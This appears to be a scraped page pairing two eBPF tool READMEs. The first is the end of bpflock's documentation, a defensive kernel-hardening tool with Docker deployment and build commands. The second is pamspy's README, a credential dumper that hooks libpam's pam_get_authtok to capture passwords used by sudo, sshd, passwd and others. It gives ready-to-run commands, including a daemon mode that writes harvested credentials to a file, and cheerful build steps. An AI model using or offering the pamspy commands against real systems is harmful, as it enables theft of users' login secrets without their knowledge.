    • --protection-block : comma-separated list of blocked operations. Valid under allow|privileged and baseline profiles, it allows to restrict access to some features without using the full restricted profile that might break some specific applications. Using baseline or privileged profiles opens the gate to access most Linux features, but with the --protection-block option some of this access can be blocked.

For bpf security examples check bpflock configuration examples

3. Deployment

3.1 Prerequisites

bpflock needs the following:

  • Linux kernel version >= 5.13 with the following configuration:

    Obviously a BTF enabled kernel.

    Enable BPF LSM support

    If your kernel was compiled with CONFIG_BPF_LSM=y check the /boot/config-* to confirm, but when running bpflock it fails with:

    must have a kernel with 'CONFIG_BPF_LSM=y' 'CONFIG_LSM=\"...,bpf\"'"

    Then to enable BPF LSM as an example on Ubuntu:

    1. Open the /etc/default/grub file as privileged of course.
    2. Append the following to the GRUB_CMDLINE_LINUX variable and save.
      "lsm=lockdown,capability,yama,apparmor,bpf"
      or
      GRUB_CMDLINE_LINUX="lsm=lockdown,capability,yama,apparmor,bpf"
    3. Update grub config with:
      sudo update-grub2
    4. Reboot into your kernel.

    3.2 Docker deployment

    To run using the default allow or privileged profile (the least secure profile):

    docker run --name bpflock -it --rm --cgroupns=host \
    --pid=host --privileged \
    -v /sys/kernel/:/sys/kernel/ \
    -v /sys/fs/bpf:/sys/fs/bpf linuxlock/bpflock

    Fileless Binary Execution

    To log and restict fileless binary execution run with:

    docker run --name bpflock -it --rm --cgroupns=host --pid=host --privileged \
    -e "BPFLOCK_FILELESSLOCK_PROFILE=restricted" \
    -v /sys/kernel/:/sys/kernel/ \
    -v /sys/fs/bpf:/sys/fs/bpf linuxlock/bpflock

    When running under restricted profile, the container logs will display:

    Running under the restricted profile may break things, this is why the default profile is allow.

    Kernel Modules Protection

    To apply Kernel Modules Protection run with environment variable BPFLOCK_KMODLOCK_PROFILE=baseline or BPFLOCK_KMODLOCK_PROFILE=restricted:

    docker run --name bpflock -it --rm --cgroupns=host --pid=host --privileged \
    -e "BPFLOCK_KMODLOCK_PROFILE=restricted" \
    -v /sys/kernel/:/sys/kernel/ \
    -v /sys/fs/bpf:/sys/fs/bpf linuxlock/bpflock

    Example:

    $ sudo unshare -p -n -f
    # modprobe xfs
    modprobe: ERROR: could not insert 'xfs': Operation not permitted
    Kernel Image Lock-down

    To apply Kernel Image Lock-down run with environment variable BPFLOCK_KIMGLOCK_PROFILE=baseline:

    docker run --name bpflock -it --rm --cgroupns=host --pid=host --privileged \
    -e "BPFLOCK_KIMGLOCK_PROFILE=baseline" \
    -v /sys/kernel/:/sys/kernel/ \
    -v /sys/fs/bpf:/sys/fs/bpf linuxlock/bpflock
    $ sudo unshare -f -p -n bash
    # head -c 1 /dev/mem
    head: cannot open '/dev/mem' for reading: Operation not permitted
    BPF Protection

    To apply bpf restriction run with environment variable BPFLOCK_BPFRESTRICT_PROFILE=baseline or BPFLOCK_BPFRESTRICT_PROFILE=restricted:

    docker run --name bpflock -it --rm --cgroupns=host --pid=host --privileged \
    -e "BPFLOCK_BPFRESTRICT_PROFILE=baseline" \
    -v /sys/kernel/:/sys/kernel/ \
    -v /sys/fs/bpf:/sys/fs/bpf linuxlock/bpflock

    Example running in a different pid and network namespaces and using bpftool:

    $ sudo unshare -f -p -n bash
    # bpftool prog
    Error: can't get next program: Operation not permitted
    Running with the -e "BPFLOCK_BPFRESTRICT_PROFILE=restricted" profile will deny bpf for all:
    3.3 Configuration and Environment file

    Passing configuration as bind mounts can be achieved using the following command.

    Assuming bpflock.yaml and bpf.d profiles configs are in current directory inside bpflock directory, then we can just use:

    ls bpflock/
    bpf.d bpflock.d bpflock.yaml
    docker run --name bpflock -it --rm --cgroupns=host --pid=host --privileged \
    -v $(pwd)/bpflock/:/etc/bpflock \
    -v /sys/kernel/:/sys/kernel/ \
    -v /sys/fs/bpf:/sys/fs/bpf linuxlock/bpflock

    Passing environment variables can also be done with files using --env-file. All parameters can be passed as environment variables using the BPFLOCK_$VARIABLE_NAME=VALUE format.

    Example run with environment variables in a file:

    docker run --name bpflock -it --rm --cgroupns=host --pid=host --privileged \
    --env-file bpflock.env.list \
    -v /sys/kernel/:/sys/kernel/ \
    -v /sys/fs/bpf:/sys/fs/bpf linuxlock/bpflock

    4. Documentation

    Documentation files can be found here.

    5. Build

    bpflock uses docker BuildKit to build and Golang to make some checks and run tests. bpflock is built inside Ubuntu container that downloads the standard golang package.

    Run the following to build the bpflock docker container:

    git submodule update --init --recursive
    make

    Bpf programs are built using libbpf. The docker image used is Ubuntu.

    If you want to only build the bpf programs directly without using docker, then on Ubuntu:

    sudo apt install -y pkg-config bison binutils-dev build-essential \
    flex libc6-dev clang-12 libllvm12 llvm-12-dev libclang-12-dev \
    zlib1g-dev libelf-dev libfl-dev gcc-multilib zlib1g-dev \
    libcap-dev libiberty-dev libbfd-dev

    Then run:

    make bpf-programs

    In this case the generated programs will be inside the ./bpf/build/... directory.

    Credits

    bpflock uses lot of resources including source code from the Cilium and bcc projects.

    License

    The bpflock user space components are licensed under the Apache License, Version 2.0. The BPF code where it is noted is licensed under the General Public License, Version 2.0.



Pamspy - Credentials Dumper For Linux Using eBPF


pamspy leverage eBPF technologies to achieve an equivalent work of 3snake.

It will track a particular userland function inside the PAM (Pluggable Authentication Modules) library, used by many critical applications to handle authentication like:

  • sudo
  • sshd
  • passwd
  • gnome
  • x11
  • and many other ...


How to launch?

pamspy is built as a static binary without any dependencies, and available on the release page.

Usage: pamspy [OPTION...]
pamspy

Uses eBPF to dump secrets use by PAM (Authentication) module
By hooking the pam_get_authtok function in libpam.so

USAGE: ./pamspy -p $(/usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4) -d /var/log/trace.0

-d, --daemon=PATH TO OUTPUT CREDENTIALS
Start pamspy in daemon mode and output in the file
passed as argument
-p, --path=PATH Path to the libpam.so file
-r, --print-headers Print headers of the program
-v, --verbose Verbose mode
-?, --help Give this help list
--usage Give a short usage message
-V, --version Print program version

Mandatory or optional arguments to long options are also mandatory or optional
for any corresponding short options.

Report bugs to .

As pamspy rely on libpam, we have to set the path where libpam is installed on your distribution. To find where libpam is installed you can run the following command :

> /usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4
/lib/x86_64-linux-gnu/libpam.so.0

Once you get the path you can launch pamspy :

> ./pamspy -p /lib/x86_64-linux-gnu/libpam.so.0

An easy way to launch pamspy is to use the following command :

> ./pamspy -p $(/usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4)

pamspy can also be started as a daemon by providing an output file where credentials will be written:

./pamspy -p $(/usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4) -d /tmp/credentials

How to build?

To build the static binary, we need third-party program. For eBPF we need clang to compile the C code into eBPF CO-RE code. We also rely on bpftool to create a skeleton from ebpf program to include it in our userland program. Then we need also libelf to find the correct symbol in libpam.

sudo apt install make clang-11 gcc libelf-dev bpftool

Then just build!

git clone https://github.com/citronneur/pamspy --recursive
cd pamspy/src
make

How does It works?

pamspy will load a userland return probe eBPF program to hook the pam_get_authtok function from libpam.so. PAM stands for "Pluggable Authentication Modules", and have a flexible design to manage a different kind of authentication on Linux.

Each time an authentication process tries to check a new user, It will call pam_get_authtok, and will be here to dump the content of the critical secrets!

Easy! Enjoy!

Credits and references

Thanks to @blendin for 3snake tool !!!



❌